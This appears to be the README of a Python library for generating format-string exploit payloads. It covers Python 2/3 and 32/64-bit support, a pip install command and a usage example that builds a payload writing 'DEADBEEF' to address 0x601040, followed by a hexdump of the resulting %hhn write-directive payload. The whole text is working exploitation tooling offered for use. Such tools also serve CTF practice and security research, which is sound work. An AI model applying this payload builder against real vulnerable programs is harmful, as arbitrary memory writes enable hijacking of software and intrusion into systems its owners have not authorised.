- support python2 and python3
- tested on 2.7+ and 3.5+
- support 32bits / 64bits payload generation
- payload size optimize not implemented
pip install formatstring-exploit
from fmtstr import FormatString
fmt = FormatString(offset=6, written=8, bits=64)
fmt[0x601040] = 'DEADBEEF'
payload, sig = fmt.build()
def dump(x):
try:
from hexdump import hexdump
hexdump(x)
except ImportError:
import binascii, textwrap
print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32)))
dump(payload)
00000000: 25 35 37 63 25 32 31 24 68 68 6E 25 31 63 25 32 %57c%21$hhn%1c%2
00000010: 32 24 68 68 6E 25 32 63 25 32 33 24 68 68 6E 25 2$hhn%2c%23$hhn%
00000020: 32 34 24 68 68 6E 25 31 63 25 32 35 24 68 68 6E 24$hhn%1c%25$hhn
00000030: 25 32 36 24 68 68 6E 25 32 37 24 68 68 6E 25 31 %26$hhn%27$hhn%1
00000040: 63 25 32 38 24 68 68 6E 44 45 41 44 42 45 45 46 c%28$hhnDEADBEEF
00000050: 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E ................
00000060: 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 2E 00 ................
00000070: 42 10 60 00 00 00 00 00 44 10 60 00 00 00 00 00 B.`.....D.`.....
00000080: 40 10 60 00 00 00 00 00 43 10 60 00 00 00 00 00 @.`.....C.`.....
00000090: 41 10 60 00 00 00 00 00 45 10 60 00 00 00 00 00 A.`.....E.`.....
000000A0: 46 10 60 00 00 00 00 00 47 10 60 00 00 00 00 00 F.`.....G.`.....
More sample see test.py